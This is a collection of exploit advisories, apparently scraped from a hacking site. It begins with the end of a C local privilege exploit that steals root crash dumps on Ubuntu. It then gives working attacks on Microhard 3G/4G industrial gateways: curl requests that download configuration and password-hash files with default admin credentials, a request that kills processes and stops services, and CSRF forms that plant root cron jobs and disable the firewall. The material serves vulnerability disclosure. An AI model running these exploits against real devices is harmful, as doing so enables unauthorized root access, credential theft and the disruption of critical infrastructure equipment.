  char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
  if (src_mapping == MAP_FAILED)
    err(1, "mmap 2");

  unlink("/var/crash/privileged_cat"); /* in case we've already run before */
  int fd = open("/var/crash/privileged_cat", O_RDWR|O_CREAT|O_EXCL, 02755);
  if (fd == -1)
    err(1, "open");
  if (fallocate(fd, 0, 0, src_len))
    err(1, "fallocate");
  char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
  if (mapping == MAP_FAILED)
    err(1, "mmap");
  memcpy(mapping, src_mapping, src_len);
  munmap(mapping, src_len);
  close(fd);

  execl("/var/crash/privileged_cat", "cat", argv[1], NULL);
  err(1, "execl");
}

/*
user@ubuntu-18-04-vm:~$ gcc -o fallocate fallocate.c
user@ubuntu-18-04-vm:~$ ./fallocate /var/crash/_usr_bin_id.0.crash > /var/crash/_usr_bin_id.0.crash.stolen
user@ubuntu-18-04-vm:~$ ls -l /var/crash
total 384
-rwxr-sr-x 1 user whoopsie  35064 Jul  3 19:22 privileged_cat
-rw-r----- 1 user whoopsie  16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
-rw-r----- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r--r-- 1 user whoopsie  50706 Jul  3 19:22 _usr_bin_id.0.crash.stolen
-rw-r----- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r----- 1 root whoopsie  18765 Jun 26 00:42 _usr_bin_xattr.0.crash
user@ubuntu-18-04-vm:~$ mkdir root_crash_unpacked
user@ubuntu-18-04-vm:~$ # work around bug in apport-unpack
user@ubuntu-18-04-vm:~$ sed -i 's|^UserGroups: $|UserGroups: 0|' /var/crash/_usr_bin_id.0.crash.stolen
user@ubuntu-18-04-vm:~$ apport-unpack /var/crash/_usr_bin_id.0.crash.stolen root_crash_unpacked/
user@ubuntu-18-04-vm:~$ file root_crash_unpacked/CoreDump 
root_crash_unpacked/CoreDump: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from 'id', real uid: 0, effective uid: 0, real gid: 0, effective gid: 0, execfn: '/usr/bin/id', platform: 'x86_64'
*/
HireHackking 
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Configuration Download


Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
                  IPn3Gb 2.2.0 build 2160
                  IPn4Gb 1.1.6 build 1184-14
                  IPn4Gb 1.1.0 Rev 2 build 1090-2
                  IPn4Gb 1.1.0 Rev 2 build 1086
                  Bullet-3G 1.2.0 Rev A build 1032
                  VIP4Gb 1.1.6 build 1204
                  VIP4G 1.1.6 Rev 3.0 build 1184-14
                  VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
                  IPn3Gii / Bullet-3G 1.2.0 build 1076
                  IPn4Gii / Bullet-LTE 1.2.0 build 1078
                  BulletPlus 1.3.0 build 1036
                  Dragon-LTE 1.1.0 build 1036

Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!

The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.

The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!

The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!

The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.

Desc: The system backup configuration file 'IPn4G.config' in '/' directory or its respective
name based on the model name including the similar files in '/www/cgi-bin/system.conf', '/tmp'
and the cli.conf in '/etc/m_cli/' can be downloaded by an authenticated attacker in certain
circumstances. This will enable the attacker to disclose sensitive information and help her
in authentication bypass, privilege escalation and/or full system access.

Tested on: httpd-ssl-1.0.0
           Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5484
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5484.php


13.03.2018

--


/etc/m_cli/cli.conf:
--------------------

curl "http://192.168.1.1/cgi-bin/webif/download.sh?script=/cgi-bin/webif/system-editor.sh&path=/etc/m_cli&savefile=cli.conf" -H "Authorization: Basic YWRtaW46YWRtaW4=" |grep passwd
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2719  100  2719    0     0   2574      0  0:00:01  0:00:01 --:--:--  2577
passwd admin 


/www/IPn4G.config:
------------------

lqwrm@metalgear:~$ curl http://192.168.1.1/IPn4G.config -o IPn4G.tar.gz -H "Authorization: Basic YWRtaW46YWRtaW4="
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 13156  100 13156    0     0   9510      0  0:00:01  0:00:01 --:--:--  9512
lqwrm@metalgear:~$ tar -zxf IPn4G.tar.gz ; ls
config.boardinfo  config.boardtype  config.date  config.name  etc  IPn4G.tar.gz  usr
lqwrm@metalgear:~$ cat config.boardinfo config.boardtype config.date config.name 
2012 Microhard Systems Inc.:IPn4Gb-IPn4G:v1.0.0
Atheros AR7130 rev 2
Thu Jul 12 12:42:42 PDT 2018
IPn4G
lqwrm@metalgear:~$ cat usr/lib/hardware_desc 
modem_type="N930"
LTE_ATCOMMAND_PORT="/dev/ttyACM0"
LTE_DIAG_PORT=""
LTE_GPS_PORT=""
wificard = "0"
lqwrm@metalgear:~$ ls etc/
config  crontabs  dropbear  ethers  firewall.user  hosts  httpd.conf  passwd  ssl
lqwrm@metalgear:~$ ls etc/config/
comport         dhcp      gpsgatetr     iperf         modbusd           notes      sdpServer   twatchdog  webif_access_control
comport2        dropbear  gpsr          ipsec         msmscomd          ntpclient  snmpd       updatedd   websockserver
coova-chilli    ethernet  gpsrecorderd  keepalive     msshc             ntrd       snmpd.conf  vlan       wireless
cron            eurd      gre-tunnels   localmonitor  network           pimd       system      vnstat     wsclient
crontabs        firewall  httpd         lte           network_IPnVTn3G  ping       timezone    vpnc
datausemonitor  gpsd      ioports       lte362        network_VIP4G     salertd    tmpstatus   webif
lqwrm@metalgear:~$ cat etc/passwd 
root:$1$fwjr710d$lOBXhRTmQk/rLLJY5sitO/:0:0:root:/:/bin/ash
admin:$1$0VKXa1iD$.Jw20V3iH3kx6VSLjsFZP.:0:0:admin:/:/etc/m_cli/m_cli.sh
upgrade:$1$ZsGmi0zo$nHGOo8TJCoTIoUGOKK/Oc1:500:500:ftpupgrade:/upgrade/upgrade:/bin/false
at:$1$rKAtMKeY$RSLlzCp8LzEENRaBk615o/:0:0:admin:/:/bin/atUI
nobody:*:65534:65534:nobody:/var:/bin/false
testlab:$1$.ezacuj4$s.hoiWAaLH7G./vHcfXku.:0:0:Linux User,,,:/:/etc/testlab.sh
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0:0:0:Linux User,,,:/:/etc/m_cli/m_cli.sh
testingus:$1$S9c8yiFq$P96OckXNQMhpKjFoRx1sL.:1000:1000:Linux User,,,:/home/testingus:/bin/false
msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh


/www/cgi-bin/system.conf:
-------------------------

lqwrm@metalgear:~$ curl -O http://192.168.1.1/cgi-bin/system.conf -H "Authorization: Basic YWRtaW46YWRtaW4="
lqwrm@metalgear:~$ cat system.conf |grep -irnH "password" -A2
system.conf:236:#VPN Admin Password:
system.conf-237-NetWork_IP_VPN_Passwd=admin
system.conf-238-
--
system.conf:309:#V3 Authentication Password:
system.conf:310:NetWork_SNMP_V3_Auth_Password=00000000
system.conf-311-
system.conf:312:#V3 Privacy Password:
system.conf:313:NetWork_SNMP_V3_Privacy_Password=00000000


Login to FTP (upgrade:admin). In /tmp/ or /tmp/upgrade/ the system.conf (gzipped) is located.
---------------------------------------------------------------------------------------------
HireHackking 
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Service Control DoS


Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
                  IPn3Gb 2.2.0 build 2160
                  IPn4Gb 1.1.6 build 1184-14
                  IPn4Gb 1.1.0 Rev 2 build 1090-2
                  IPn4Gb 1.1.0 Rev 2 build 1086
                  Bullet-3G 1.2.0 Rev A build 1032
                  VIP4Gb 1.1.6 build 1204
                  VIP4G 1.1.6 Rev 3.0 build 1184-14
                  VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
                  IPn3Gii / Bullet-3G 1.2.0 build 1076
                  IPn4Gii / Bullet-LTE 1.2.0 build 1078
                  BulletPlus 1.3.0 build 1036
                  Dragon-LTE 1.1.0 build 1036

Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!

The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.

The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!

The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!

The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.

Desc: There is an undocumented and hidden feature that allows an authenticated attacker
to list running processes in the operating system and send arbitrary signals to kill
any process running in the background including starting and stopping system services.
This impacts availability and can be triggered also by CSRF attacks that requires device
restart and/or factory reset to rollback malicious changes.

Tested on: httpd-ssl-1.0.0
           Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5481
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5481.php


13.03.2018

--


POST /cgi-bin/webif/status-processes.sh HTTP/1.1
Host: 192.168.1.1
Connection: keep-alive
Content-Length: 34
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Origin: http://166.130.177.150
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.1.1/cgi-bin/webif/status-processes.sh
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: style=null

signal=SIGILL&pid=1337&kill=+Send+


===


Available services:

# ls /etc/init.d/
boot                 dmesgbackup          gpsgatetr            ipsecfwadd           mh_product           quagga               sysctl               vlan
checksync            dnsmasq              gpsr                 keepalive            modbusd              rcS                  systemmode           vnstat
coova-chilli         done                 gpsrecorderd         led                  msmscomd             salertd              telnet               watchdog
cron                 dropbear             gred                 ledcon               msshc                sdpServer            timezone             webif
crontab              eurd                 httpd                localmonitord        network              snmpd                twatchdog            webiffirewalllog
custom-user-startup  firewall             ioports              logtrigger           ntpclient            soip                 umount               websockserverd
datausemonitord      force_reboot         iperf                lte                  ntrd                 soip2                updatedd             wsClient
defconfig            ftpd                 ipsec                lteshutdown          nxl2tpd-wan          soip2.getty          usb                  xl2tpd
dhcp_client          gpsd                 ipsec_vpn            media_ctrl           pimd                 soipd1               vcad                 xl2tpd-wan


Stop the HTTPd:

GET http://192.168.1.1/cgi-bin/webif/system-services.sh?service=httpd&action=stop HTTP/1.1
HireHackking 
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Remote Root Exploit


Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
                  IPn3Gb 2.2.0 build 2160
                  IPn4Gb 1.1.6 build 1184-14
                  IPn4Gb 1.1.0 Rev 2 build 1090-2
                  IPn4Gb 1.1.0 Rev 2 build 1086
                  Bullet-3G 1.2.0 Rev A build 1032
                  VIP4Gb 1.1.6 build 1204
                  VIP4G 1.1.6 Rev 3.0 build 1184-14
                  VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
                  IPn3Gii / Bullet-3G 1.2.0 build 1076
                  IPn4Gii / Bullet-LTE 1.2.0 build 1078
                  BulletPlus 1.3.0 build 1036
                  Dragon-LTE 1.1.0 build 1036

Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!

The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.

The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!

The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!

The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.

Desc: The application suffers from multiple authenticated arbitrary remote code execution
vulnerabilities with highest privileges. This is due to multiple hidden and undocumented
features within the admin interface that allows an attacker to create crontab jobs and/or
modify the system startup script that allows execution of arbitrary code as root user.

Tested on: httpd-ssl-1.0.0
           Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5479
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5479.php


13.03.2018

--


Crontab #1:
-----------

<html>
  <body>
    <form action="http://192.168.1.1/cgi-bin/webif/system-crontabs.sh" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="submit" value="1" />
      <input type="hidden" name="sltMinutes" value="" />
      <input type="hidden" name="sltHours" value="" />
      <input type="hidden" name="sltDays" value="" />
      <input type="hidden" name="sltMonths" value="" />
      <input type="hidden" name="sltDaysOfWeek" value="" />
      <input type="hidden" name="txthMinutes" value="" />
      <input type="hidden" name="txthHours" value="" />
      <input type="hidden" name="txthDays" value="" />
      <input type="hidden" name="txthMonths" value="" />
      <input type="hidden" name="txthDaysOfWeek" value="" />
      <input type="hidden" name="ddEveryXminute" value="" />
      <input type="hidden" name="ddEveryXhour" value="" />
      <input type="hidden" name="ddEveryXday" value="" />
      <input type="hidden" name="txtCommand" value="" />
      <input type="hidden" name="txthCronEnabled" value="0" />
      <input type="hidden" name="txtCrontabEntry" value="" />
      <input type="hidden" name="MINUTES_cfg02e2c8" value="*/3" />
      <input type="hidden" name="HOURS_cfg02e2c8" value="*" />
      <input type="hidden" name="DAYS_cfg02e2c8" value="*" />
      <input type="hidden" name="MONTHS_cfg02e2c8" value="*" />
      <input type="hidden" name="WEEKDAYS_cfg02e2c8" value="*" />
      <input type="hidden" name="COMMAND_cfg02e2c8" value="/etc/init.d/ntpclient start" />
      <input type="hidden" name="ENABLED_cfg02e2c8" value="1" />
      <input type="hidden" name="MINUTES_cfg04b4e9" value="*" />
      <input type="hidden" name="HOURS_cfg04b4e9" value="*" />
      <input type="hidden" name="DAYS_cfg04b4e9" value="*" />
      <input type="hidden" name="MONTHS_cfg04b4e9" value="*" />
      <input type="hidden" name="WEEKDAYS_cfg04b4e9" value="*" />
      <input type="hidden" name="COMMAND_cfg04b4e9" value="id > /www/pwn.txt" />
      <input type="hidden" name="ENABLED_cfg04b4e9" value="1" />
      <input type="hidden" name="MINUTES_newCron" value="" />
      <input type="hidden" name="HOURS_newCron" value="" />
      <input type="hidden" name="DAYS_newCron" value="" />
      <input type="hidden" name="MONTHS_newCron" value="" />
      <input type="hidden" name="WEEKDAYS_newCron" value="" />
      <input type="hidden" name="COMMAND_newCron" value="" />
      <input type="hidden" name="ENABLED_newCron" value="" />
      <input type="hidden" name="action" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

---

curl http://192.168.1.1/pwn.txt
uid=0(root) gid=0(root) groups=0(root)


Start ftpd:
-----------

<html>
  <body>
    <form action="http://192.168.1.1/cgi-bin/webif/system-startup.sh" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="path" value="/etc/init.d" />
      <input type="hidden" name="edit" value="custom-user-startup" />
      <input type="hidden" name="filecontent" value="#!/bin/sh /etc/rc.common
START=90
# place your own startup commands here
#
# REMEMBER: You *MUST* place an '&' after launching programs you 
#   that are to continue running in the background.
#
#   i.e. 
#   BAD:  upnpd
#   GOOD: upnpd &
# 
# Failure to do this will result in the startup process halting
# on this file and the diagnostic light remaining on (at least
# for WRT54G(s) models).
#

ftpd &

" />
      <input type="hidden" name="save" value=" Save Changes " />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Crontab #2:
-----------

<html>
  <body>
    <form action="http://192.168.1.1/cgi-bin/webif/system-crontabs.sh" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="submit" value="1" />
      <input type="hidden" name="sltMinutes" value="" />
      <input type="hidden" name="sltHours" value="" />
      <input type="hidden" name="sltDays" value="" />
      <input type="hidden" name="sltMonths" value="" />
      <input type="hidden" name="sltDaysOfWeek" value="" />
      <input type="hidden" name="txthMinutes" value="*" />
      <input type="hidden" name="txthHours" value="*" />
      <input type="hidden" name="txthDays" value="*" />
      <input type="hidden" name="txthMonths" value="*" />
      <input type="hidden" name="txthDaysOfWeek" value="*" />
      <input type="hidden" name="ddEveryXminute" value="" />
      <input type="hidden" name="ddEveryXhour" value="" />
      <input type="hidden" name="ddEveryXday" value="" />
      <input type="hidden" name="txtCommand" value="uname -a >/www/os.txt ; ls -la /www >> /www/os.txt ; id >> /www/os.txt" />
      <input type="hidden" name="chkCronEnabled" value="on" />
      <input type="hidden" name="txthCronEnabled" value="1" />
      <input type="hidden" name="txtCrontabEntry" value="* * * * * uname -a >/www/os.txt ; ls -la /www >> /www/os.txt ; id >> /www/os.txt" />
      <input type="hidden" name="MINUTES_cfg02e2c8" value="*/3" />
      <input type="hidden" name="HOURS_cfg02e2c8" value="*" />
      <input type="hidden" name="DAYS_cfg02e2c8" value="*" />
      <input type="hidden" name="MONTHS_cfg02e2c8" value="*" />
      <input type="hidden" name="WEEKDAYS_cfg02e2c8" value="*" />
      <input type="hidden" name="COMMAND_cfg02e2c8" value="/etc/init.d/ntpclient start" />
      <input type="hidden" name="ENABLED_cfg02e2c8" value="1" />
      <input type="hidden" name="MINUTES_cfg0421ec" value="*" />
      <input type="hidden" name="HOURS_cfg0421ec" value="*" />
      <input type="hidden" name="DAYS_cfg0421ec" value="*" />
      <input type="hidden" name="MONTHS_cfg0421ec" value="*" />
      <input type="hidden" name="WEEKDAYS_cfg0421ec" value="*" />
      <input type="hidden" name="COMMAND_cfg0421ec" value="uname -a >/www/os.txt ; ls -la /www >> /www/os.txt ; id >> /www/os.txt" />
      <input type="hidden" name="ENABLED_cfg0421ec" value="1" />
      <input type="hidden" name="MINUTES_newCron" value="" />
      <input type="hidden" name="HOURS_newCron" value="" />
      <input type="hidden" name="DAYS_newCron" value="" />
      <input type="hidden" name="MONTHS_newCron" value="" />
      <input type="hidden" name="WEEKDAYS_newCron" value="" />
      <input type="hidden" name="COMMAND_newCron" value="" />
      <input type="hidden" name="ENABLED_newCron" value="" />
      <input type="hidden" name="action" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

---

curl http://192.168.1.1/os.txt
Linux IPn4G 2.6.32.9 #1 Mon Jun 20 15:28:30 MDT 2016 mips GNU/Linux
drwxr-xr-x    5 root     root            0 Jul  1 14:01 .
drwxr-xr-x    7 root     root            0 Dec 31  1969 ..
-rw-r--r--    1 root     root            4 Apr 12  2010 .version
-rw-r--r--    1 root     root        13461 May  8 15:54 IPn4G.config
drwxr-xr-x    3 root     root            0 Jun 20  2016 cgi-bin
-rw-r--r--    1 root     root         2672 Apr  1  2010 colorize.js
-rwxr-xr-x    1 root     root         3638 May 10  2010 favicon.ico
drwxr-xr-x    2 root     root          959 Jun 20  2016 images
-rw-r--r--    1 root     root          600 Feb 12  2013 index.html
drwxr-xr-x    2 root     root          224 Jun 20  2016 js
-rw-r--r--    1 root     root           68 Mar  1 14:09 os.txt
drwxr-xr-x    2 root     root           79 Jun 20  2016 svggraph
drwxr-xr-x    2 root     root            0 Jul  1 14:02 themes
drwxr-xr-x    2 root     root            0 May  8 16:21 vnstat
-rw-r--r--    1 root     root          953 Apr  1  2010 webif.js
uid=0(root) gid=0(root) groups=0(root)


Disable firewall:
-----------------

<html>
  <body>
    <form action="http://192.168.1.1/cgi-bin/webif/system-crontabs.sh" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="submit" value="1" />
      <input type="hidden" name="sltMinutes" value="" />
      <input type="hidden" name="sltHours" value="" />
      <input type="hidden" name="sltDays" value="" />
      <input type="hidden" name="sltMonths" value="" />
      <input type="hidden" name="sltDaysOfWeek" value="" />
      <input type="hidden" name="txthMinutes" value="*" />
      <input type="hidden" name="txthHours" value="*" />
      <input type="hidden" name="txthDays" value="*" />
      <input type="hidden" name="txthMonths" value="*" />
      <input type="hidden" name="txthDaysOfWeek" value="*" />
      <input type="hidden" name="ddEveryXminute" value="" />
      <input type="hidden" name="ddEveryXhour" value="" />
      <input type="hidden" name="ddEveryXday" value="" />
      <input type="hidden" name="txtCommand" value="/etc/init.d/firewall stop" />
      <input type="hidden" name="chkCronEnabled" value="on" />
      <input type="hidden" name="txthCronEnabled" value="1" />
      <input type="hidden" name="txtCrontabEntry" value="* * * * * /etc/init.d/firewall stop" />
      <input type="hidden" name="MINUTES_cfg02e2c8" value="*/3" />
      <input type="hidden" name="HOURS_cfg02e2c8" value="*" />
      <input type="hidden" name="DAYS_cfg02e2c8" value="*" />
      <input type="hidden" name="MONTHS_cfg02e2c8" value="*" />
      <input type="hidden" name="WEEKDAYS_cfg02e2c8" value="*" />
      <input type="hidden" name="COMMAND_cfg02e2c8" value="/etc/init.d/ntpclient start" />
      <input type="hidden" name="ENABLED_cfg02e2c8" value="1" />
      <input type="hidden" name="MINUTES_cfg04f65b" value="*" />
      <input type="hidden" name="HOURS_cfg04f65b" value="*" />
      <input type="hidden" name="DAYS_cfg04f65b" value="*" />
      <input type="hidden" name="MONTHS_cfg04f65b" value="*" />
      <input type="hidden" name="WEEKDAYS_cfg04f65b" value="*" />
      <input type="hidden" name="COMMAND_cfg04f65b" value="/etc/init.d/firewall stop" />
      <input type="hidden" name="ENABLED_cfg04f65b" value="1" />
      <input type="hidden" name="MINUTES_newCron" value="" />
      <input type="hidden" name="HOURS_newCron" value="" />
      <input type="hidden" name="DAYS_newCron" value="" />
      <input type="hidden" name="MONTHS_newCron" value="" />
      <input type="hidden" name="WEEKDAYS_newCron" value="" />
      <input type="hidden" name="COMMAND_newCron" value="" />
      <input type="hidden" name="ENABLED_newCron" value="" />
      <input type="hidden" name="action" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
HireHackking 
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Default Credentials


Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
                  IPn3Gb 2.2.0 build 2160
                  IPn4Gb 1.1.6 build 1184-14
                  IPn4Gb 1.1.0 Rev 2 build 1090-2
                  IPn4Gb 1.1.0 Rev 2 build 1086
                  Bullet-3G 1.2.0 Rev A build 1032
                  VIP4Gb 1.1.6 build 1204
                  VIP4G 1.1.6 Rev 3.0 build 1184-14
                  VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
                  IPn3Gii / Bullet-3G 1.2.0 build 1076
                  IPn4Gii / Bullet-LTE 1.2.0 build 1078
                  BulletPlus 1.3.0 build 1036
                  Dragon-LTE 1.1.0 build 1036

Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!

The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.

The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!

The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!

The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.

Desc: The devices utilizes hard-coded credentials within its Linux distribution image.
These sets of credentials are never exposed to the end-user and cannot be changed through
any normal operation of the gateway. Another vulnerability could allow an authenticated
attacker to gain root access. The vulnerability is due to default credentials. An attacker
could exploit this vulnerability by logging in using the default credentials.

Tested on: httpd-ssl-1.0.0
           Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
